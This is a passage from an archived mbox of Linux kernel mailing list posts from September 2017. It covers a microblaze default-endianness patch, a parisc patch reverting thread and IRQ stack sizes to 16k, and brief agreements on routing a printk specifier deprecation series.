         b9mIiLuN6st+CK3kh8Hdp+YdJ7Blof1cID+lK17CX4Ps5Xb6cIFF7P8gaoojE/Ez1gUI
         UxVhafK4eAR37YfpGg1SmXsnkIb5D73n2GXbzpBe1znEWrb0zRw1MxZ45mpGX4gGL1OF
         0p8A==
X-Gm-Message-State: AHPjjUjFfBZnZxN9YUxgKO1x9DXF9Ae6jNoI2X3o5E8lewN8ClHqRbWX
        WYEZ/3Za0/IfsiKxp4xMRVIyow==
X-Google-Smtp-Source: AOwi7QDYxOJ6/wFT+ujwEH7w6dwogxrn0i//qWjUhHfOSq3JrRNbwq5ihNCzTiqe4QfurCwkepKJ9g==
X-Received: by 10.28.210.204 with SMTP id j195mr396469wmg.124.1506346628416;
        Mon, 25 Sep 2017 06:37:08 -0700 (PDT)
Original-Received: from [74.125.133.109] ([149.199.62.254])
        by smtp.gmail.com with ESMTPSA id b80sm2383040wmb.41.2017.09.25.06.37.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 25 Sep 2017 06:37:07 -0700 (PDT)
In-Reply-To: <e755625e-0b3a-4027-0754-4873fc8446b1@oracle.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2577457 gmane.linux.ports.sparc:26619 gmane.linux.ports.parisc:27861
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2577457>

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--GJMajlcGALAWllo9lVqPIWxpOlAjl261v
Content-Type: multipart/mixed; boundary="NEs71qLvUmTUlacMA9tBHJ5w1REDB6DTl";
 protected-headers="v1"
From: Michal Simek <monstr@monstr.eu>
Reply-To: monstr@monstr.eu
To: Babu Moger <babu.moger@oracle.com>, jejb@parisc-linux.org, deller@gmx.de,
 davem@davemloft.net, akpm@linux-foundation.org
Cc: sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-parisc@vger.kernel.org
Message-ID: <192895e1-00d6-bc68-160b-7cbab3192737@monstr.eu>
Subject: Re: [PATCH 2/2] arch: change default endian for microblaze
References: <1505753609-602923-1-git-send-email-babu.moger@oracle.com>
 <1505753609-602923-3-git-send-email-babu.moger@oracle.com>
 <cf4bd066-b349-070a-ddf9-d6ae02f44cd7@monstr.eu>
 <e755625e-0b3a-4027-0754-4873fc8446b1@oracle.com>
In-Reply-To: <e755625e-0b3a-4027-0754-4873fc8446b1@oracle.com>

--NEs71qLvUmTUlacMA9tBHJ5w1REDB6DTl
Content-Type: text/plain; charset=utf-8
Content-Language: en-US
Content-Transfer-Encoding: quoted-printable

On 18.9.2017 20:05, Babu Moger wrote:
>=20
> On 9/18/2017 12:49 PM, Michal Simek wrote:
>> On 18.9.2017 18:53, Babu Moger wrote:
>>> Fix the default for microblaze. Michal Simek mentioned default for
>>> microblaze should be CPU_LITTLE_ENDIAN.
>>>
>>> Fixes : commit 206d3642d8ee ("arch/microblaze: add choice for endiann=
ess
>>> =C2=A0=C2=A0=C2=A0=C2=A0and update Makefile")
>>>
>>> Signed-off-by: Babu Moger <babu.moger@oracle.com>
>>> Cc: Michal Simek <monstr@monstr.eu>
>>> ---
>>> =C2=A0 arch/microblaze/Kconfig |=C2=A0=C2=A0=C2=A0 2 +-
>>> =C2=A0 1 files changed, 1 insertions(+), 1 deletions(-)
>>>
>>> diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
>>> index 9d26abd..4f798aa 100644
>>> --- a/arch/microblaze/Kconfig
>>> +++ b/arch/microblaze/Kconfig
>>> @@ -39,7 +39,7 @@ config MICROBLAZE
>>> =C2=A0 # Endianness selection
>>> =C2=A0 choice
>>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 prompt "Endianness selection"
>>> -=C2=A0=C2=A0=C2=A0 default CPU_BIG_ENDIAN
>>> +=C2=A0=C2=A0=C2=A0 default CPU_LITTLE_ENDIAN
>>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 help
>>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 microblaze architectures c=
an be configured for either little or
>>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 big endian formats. Be sur=
e to select the appropriate mode.
>>>
>> Acked-by: Michal Simek <michal.simek@xilinx.com>
> Thanks.
>> If you want me to take this through my microblaze tree please let me
>> know.
> Sure. Thanks

I can't see this in linux-next yet that's why pplied this one to mb/next
to be the part of my pull request.

Thanks,
Michal

--=20
Michal Simek, Ing. (M.Eng), OpenPGP -> KeyID: FE3D1F91
w: www.monstr.eu p: +42-0-721842854
Maintainer of Linux kernel - Xilinx Microblaze
Maintainer of Linux kernel - Xilinx Zynq ARM and ZynqMP ARM64 SoCs
U-Boot custodian - Xilinx Microblaze/Zynq/ZynqMP SoCs



--NEs71qLvUmTUlacMA9tBHJ5w1REDB6DTl--

--GJMajlcGALAWllo9lVqPIWxpOlAjl261v
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEARECAAYFAlnJBnwACgkQykllyylKDCGc5QCfWmwikKfj6nKpGvLIb+FnJ9t1
Yj4AnjjESocs5JE0MmhMIwwcNYUEBcN1
=MxEH
-----END PGP SIGNATURE-----

--GJMajlcGALAWllo9lVqPIWxpOlAjl261v--


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Decrease thread and stack size back to 16kb
Date: Mon, 25 Sep 2017 17:48:19 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20170925154819.GA24985@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506354513 11684 195.159.176.226 (25 Sep 2017 15:48:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 25 Sep 2017 15:48:33 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 25 17:48:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dwVcM-000125-QI
	for glpp-linux-parisc@m.gmane.org; Mon, 25 Sep 2017 17:48:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934483AbdIYPsa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 25 Sep 2017 11:48:30 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:63038 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S934482AbdIYPs3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 25 Sep 2017 11:48:29 -0400
Original-Received: from ls3530.fritz.box ([91.36.205.52]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MPDaC-1e0vTC0PJI-004PbY; Mon, 25
 Sep 2017 17:48:22 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:9gPuuoXL2AZn+/noLboHacJSjIHUvQl0pIRcrc5+tFDFWC0PoF7
 V3EtZMSA0vIKAVE+QkiP3eubTJY6AyNrgWGNWDNQAv3Euf9QzFYM+ztCOuT08hQPg3/g8eo
 qoqcc9Yhzpo2oTmhYt24HNDVTfwLDSeJ6tGPaIesp5XgzKQvJhaikD2weBZWMwSyY59OIu+
 ilE4u9GCXrMwkOWrQbabA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Qb3kEBjZnn8=:EL7XbL3IAEYPOiAULtlTf4
 E7aWsBoGgjZxhdwzqJhYBSd2b+V5YBNR/nGojThSiJMjHuW3fq3k/O3uFAAN+lFqmEJET+YGd
 cvrLxLovPXs5G7frWPvnAPQ42qezG1UedarA6mkn1RO9lFSuerWFx2jfz0A2oBZ4Qs8DICoEX
 2wr0ujCI6gXP3hPwssS6AskTEdxcf2ObmZLwK5ptzhdwT4vVWOLrfo9J3CKLWP2wegsabdcrq
 Pu/WVQ2E746fYy0YZkmZVDMJ2Av0NywGZDCzsQVPie9ELELRjpl4Q/kbTpVkHMb8WK3PemG6d
 pR8gDOAfGLda7GwqTH9jmwaUN2QboxffmbSFWKNPQAuMKp1uVJpzYW17LgN/jqSWV75WDIv3b
 u3jnt/KIzIW6IiKOQ2kb5vZK3rjWzbfC1S7foooXss0B0T6eVpdu1aW6lm6yU6/F+Mc+vuhPC
 vZgvsAERPoAkIhO4vwneVxbpbJ7/BUzqY4GOzF3EzT9D8moJHTUBksN7rg50megf5RoV/85M0
 6EdWkgT1gHLDHoIQ0VtxG76HQybmbqLh3rhiDyDL6P+Eis3tDpURKzrGyAm55xvfz89/XOAFR
 6wuPAQSIofeVjVXH4Xu17Zyas8tBvd+Olcp3eoOH6OHGOFAxRnDmopqMSGBBZ/Ko1L/TfpCAF
 xawivTeHWSqmf5aAjeTo3mg1zV3uBP+LGPf5xLR15q4926guCU0uOc2um9cChpAwKnweh5UVh
 PRZjtY0ea1Vf5bf1gIlTpS/UTVg3iOq1RX708Em3OEWJNV5+F6hjoOklGEJc3nvkfIDIPLrc 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27862>

Revert commit 8f8201dfed91 ("parisc: Increase thread and stack size to 32kb").

Starting with kernel 4.11 the thread and irq stacks on parisc randomly overflow
the default size of 16k. The reason why the stack usage suddenly grew was
unknown.  Now the stack sizes seem to be back at their usual 8-12kb, so we can
revert the temporary workaround of commit 8f8201dfed91.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index bc208136bbb2..88fe0aad4390 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -34,7 +34,7 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_SIZE_ORDER	3 /* PA-RISC requires at least 32k stack */
+#define THREAD_SIZE_ORDER	2 /* PA-RISC requires at least 16k stack */
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_SIZE_ORDER)
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 0ca254085a66..5404e4086cb9 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -380,7 +380,7 @@ static inline int eirr_to_irq(unsigned long eirr)
 /*
  * IRQ STACK - used for irq handler
  */
-#define IRQ_STACK_SIZE      (4096 << 3) /* 32k irq stack size */
+#define IRQ_STACK_SIZE      (4096 << 2) /* 16k irq stack size */
 
 union irq_stack_union {
 	unsigned long stack[IRQ_STACK_SIZE/sizeof(unsigned long)];
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: RE: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Mon, 25 Sep 2017 16:29:43 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <3908561D78D1C84285E8C5FCA982C28F61384020@ORSMSX114.amr.corp.intel.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
 <20170922080023.GA599@jagdpanzerIV.localdomain>
 <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com>
 <20170925070542.GA387@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1506356993 31244 195.159.176.226 (25 Sep 2017 16:29:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 25 Sep 2017 16:29:53 +0000 (UTC)
Cc: Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        "Yu, Fenghua" <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Sep 25 18:29:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dwWGO-0007iK-Vf
	for glk-linux-kernel-3@m.gmane.org; Mon, 25 Sep 2017 18:29:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934655AbdIYQ3v convert rfc822-to-8bit (ORCPT
        <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 25 Sep 2017 12:29:51 -0400
Original-Received: from mga04.intel.com ([192.55.52.120]:28960 "EHLO mga04.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752558AbdIYQ3t (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 25 Sep 2017 12:29:49 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by fmsmga104.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 25 Sep 2017 09:29:48 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.42,437,1500966000"; 
   d="scan'208";a="1175612815"
Original-Received: from orsmsx109.amr.corp.intel.com ([10.22.240.7])
  by orsmga001.jf.intel.com with ESMTP; 25 Sep 2017 09:29:45 -0700
Original-Received: from orsmsx160.amr.corp.intel.com (10.22.226.43) by
 ORSMSX109.amr.corp.intel.com (10.22.240.7) with Microsoft SMTP Server (TLS)
 id 14.3.319.2; Mon, 25 Sep 2017 09:29:45 -0700
Original-Received: from orsmsx114.amr.corp.intel.com ([169.254.8.130]) by
 ORSMSX160.amr.corp.intel.com ([169.254.13.61]) with mapi id 14.03.0319.002;
 Mon, 25 Sep 2017 09:29:44 -0700
Thread-Topic: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's
 deprecate %pF/%pf printk specifiers
Thread-Index: AQHTMi2yY2AGJRaNSEaaNlME9Evh8KLA2csAgAAo4YCAABvrIIAEi8wAgAAnzvA=
In-Reply-To: <20170925070542.GA387@jagdpanzerIV.localdomain>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-titus-metadata-40: eyJDYXRlZ29yeUxhYmVscyI6IiIsIk1ldGFkYXRhIjp7Im5zIjoiaHR0cDpcL1wvd3d3LnRpdHVzLmNvbVwvbnNcL0ludGVsMyIsImlkIjoiMDJiYmUwZWItMzRiNC00YWMyLTg5MTItMWVlZjhlY2EwMWMzIiwicHJvcHMiOlt7Im4iOiJDVFBDbGFzc2lmaWNhdGlvbiIsInZhbHMiOlt7InZhbHVlIjoiQ1RQX0lDIn1dfV19LCJTdWJqZWN0TGFiZWxzIjpbXSwiVE1DVmVyc2lvbiI6IjE3LjIuNS4xOCIsIlRydXN0ZWRMYWJlbEhhc2giOiJLNEFyUmM4ZXFVc2pyRGtheFNQTTlxakZPNkIrbk5jTnB5TU5IdGVLUDVMMEpLczdybE1vTUFmdVFmU1Jwb0xnIn0=
x-ctpclassification: CTP_IC
dlp-product: dlpe-windows
dlp-version: 11.0.0.116
dlp-reaction: no-action
x-originating-ip: [10.22.254.139]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2577557 gmane.linux.ports.ia64:28159 gmane.linux.ports.parisc:27863 gmane.linux.ports.ppc64.devel:148300
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2577557>

> speaking of upstream, any objections if this patch set will go through
> the printk tree, in one piece?

Seems to be a better idea than trying to coordinate pulls from three
separate "arch/"  trees.  Fine with me.

-Tony


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 0/7] printk/ia64/ppc64/parisc64: let's deprecate
 %pF/%pf printk specifiers
Date: Mon, 25 Sep 2017 19:05:00 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <81cfc7bc-9d3b-97c4-b9f6-a740d40231b8@gmx.de>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170922053404.3zpfpwetabjut2er@santosiv.in.ibm.com>
 <20170922080023.GA599@jagdpanzerIV.localdomain>
 <3908561D78D1C84285E8C5FCA982C28F61381992@ORSMSX114.amr.corp.intel.com>
 <20170925070542.GA387@jagdpanzerIV.localdomain>
 <3908561D78D1C84285E8C5FCA982C28F61384020@ORSMSX114.amr.corp.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1506359173 13756 195.159.176.226 (25 Sep 2017 17:06:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 25 Sep 2017 17:06:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: "Luck, Tony" <tony.luck@intel.com>,
        Santosh Sivaraj <santosh@fossix.org>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        "Yu, Fenghua" <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Sep 25 19:06:07 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dwWpY-0005D7-HD
	for glpi-linux-ia64-2@m.gmane.org; Mon, 25 Sep 2017 19:06:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935429AbdIYRGL (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 25 Sep 2017 13:06:11 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:53004 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S935407AbdIYRGK (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Mon, 25 Sep 2017 13:06:10 -0400
Original-Received: from [192.168.20.60] ([91.36.205.52]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M0Ppl-1d4ZBe3n8n-00uVgO; Mon, 25
 Sep 2017 19:05:08 +0200
In-Reply-To: <3908561D78D1C84285E8C5FCA982C28F61384020@ORSMSX114.amr.corp.intel.com>
Content-Language: en-US
X-Provags-ID: V03:K0:uNJph9ZYUUwOhGV5E5u3BGzH6yKBtLZlWpppK0bWrNh458BNy/N
 6hNj6wRwmwZn82x12GlLH5BdIXgNIL4S++MerOE6hcVcJaBnk+fCLiayhmhVHXJOR5C4Xk4
 bkxaJBORYFauplpg6iDKHjDyWvVcnhjF4JJus33T69SMdTtFsQQMw1PG0qHP2k/XZvHYGNq
 f4gAs1S0xFUOly0ogxkrQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ObgaktaSt5Y=:OW3Ocyk2qrMISIerVVgdMY
 GnbOjAIj3e5Ze99XxzdiQXvO9A+hotBfn3vMA7zB7m0/Wh5y0YcBcRI2sMPNmXLzVrTRbtdJi
 6zXhhXj15j3RpUXisI4ocE/6gxXyVvTp6y4i3XI1ZZpWIzRJ+Z2z0FSuVT8zhUT1H0m3bpfzE
 OCTHPur5UuNOn4a8cEpwCG/HLqvffMAcGwsjyiu+N4mui/ZzwnnRz3fHU+NHnpbu8Lhfdz2Xe
 hH6JApXNYF/oMfWGUK5fBiaVXPjV0Oq9RAYmesBoFNptEO4PW5rhSHg0j/fEdJQHuNdGWPImg
 h0FV1IyWnQZD2kg/KWIp96rdsrQgmesk+wCs+7v58J74qK5OpQ2s0EIbtS1P4W+HSuray23gp
 7xEqAt9Y+b+kuVH1Jsenwzz1fHp6yEx+earyHnp4TtGve9vI2kn7zEj6BPv1VMOdT7c/W7qFk
 yXvsC0R/ICdJol1aqQHRvAujpQ5fWTkhk/E5eqf1cizLNTVsR4SBPYgvASsMyPSaVx/RlOR5N
 xIauGVmWRvdb7p45lNHRvArKrcUnKcYYW/Rv/YTsew+OY/Hykkpfh/Q8FP1BQXirIbtMm4ghb
 ELhjPnAlSk7E2k1cDTJdwhz0TvAu+IDG8Ke4ucKT9Julw2hamjNkjqUWqS3zRKWQSsKYyb/TH
 yrdC2Ew4xt89gXhJ6SUgRVLlUPx31IpxS4gAyS/Xd6bY0Q9IznfOFrqu6iJUj9YlUfCeGhctS
 cPsoMYxAGkbDhTflZ/6eweFgz/1SnpnCz3GbfxcnlXgVUcoFMMpJrLFXttfE11QBo7Dr07jr 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28160 gmane.linux.ports.parisc:27864 gmane.linux.ports.ppc64.devel:148305 gmane.linux.kernel:2577582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28160>

On 25.09.2017 18:29, Luck, Tony wrote:
>> speaking of upstream, any objections if this patch set will go through
>> the printk tree, in one piece?

Fine with me too.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH][RFC] parisc: Convert MAP_TYPE to cover 4 bits on parisc
Date: Tue, 26 Sep 2017 00:21:27 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20170925222127.GA29387@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506378100 14453 195.159.176.226 (25 Sep 2017 22:21:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 25 Sep 2017 22:21:40 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 26 00:21:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dwbkq-0003Ie-EX
	for glpp-linux-parisc@m.gmane.org; Tue, 26 Sep 2017 00:21:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935291AbdIYWVj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 25 Sep 2017 18:21:39 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:53270 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S934948AbdIYWVg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 25 Sep 2017 18:21:36 -0400
Original-Received: from ls3530.fritz.box ([91.36.205.52]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LsChr-1dDlWX26Wd-013yua; Tue, 26
 Sep 2017 00:21:30 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Wy9nDD4cOc4dKkAYEtyuV66dm88oa6+gdSDyu8yfC2rk16cPRXM
 nxefXA/hCaopgNZJwqImaIMkmFqjnvN+mi4Q8AZ5WdOcoDr9zWP3bfRYkNyKLtVeaVC+h/z
 bb0rKDbmptQjwp/pPqs9NKBLZaMnU5mzVKhXppSBNxEfJblWlSFcbFv6CI93eQYRAqp0Fp6
 cAAhVMwmtT5oDaSOGlvYQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:S1nYcXH1f98=:oK9kDjSqpg/1AV5WsWYlkq
 4cVAl1gDrvvZJkCdaTTDSN+nkRYYeKlYBw6hBCzb1d9qCNeNYsKNu6YKE6JY5dCqy/bcGs/OL
 9dahJN0F48k+Nn2pW/gFbFqwNXxCW1ygYuvihI99eEvEHl0CArBMvAMSu1PkvSy8pONhaRCnk
 R95U/A01fy7OxNgXG84YwTAluXIw4PpNio4GUhZET1E7l9mVX8DDgnGe3hws2KtRULf3apY94
 svVCv2AyqlXzdzYE3pBA/FH02Q8znRbKY69+/314q1jOSthv2F7RbvZwm1AXh30w7bLXD8LWP
 m5UpbHtxRyYlKS/elVVzM1g76rdl0U87SyBITCNdrdqFxAmm7CmeEtw2MFYoYY5Ikdf8gs30a
 x1uq8dbXkzdFARJAvKKoAjNl/f/HPTqpGFw4Cb3p6WAwmhhGGqKpMtv341QvfWzepNOiRZ9Zx
 72ztm/iTCu0RIaTKx20+IuIjfI1xFgPl+2TRgaEF5BuENM4WQ8qgA/9Fe3ZcHI6ukR6ifNos7
 JaO3vS3+F2VDLS0u8HNOP03E3MhkfGqMzPWZKOf6WdiVcGujc73vPS4ZPGbRWUZXHt2FZQlfO
 0N99DfAd13I/emgS8SaCaVA8KjFJ5axSMpLSOBcycQhG7YLkf9kC47PXC50dQajIyTv2B/MCL
 Dqq+8lY3cQS4VMmiN67SHVWCsg1slfRi6f7NupRu516kQ57LgpyOuudSdX6HTyJUiLk97Gsdi
 rRR7BCGqr25Mv4PVqa1+5iHZRFvCECF3EV9GhXLO36fLy7d4rkwf7HFxtQHVZ7LkDMf7AU4C 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27865
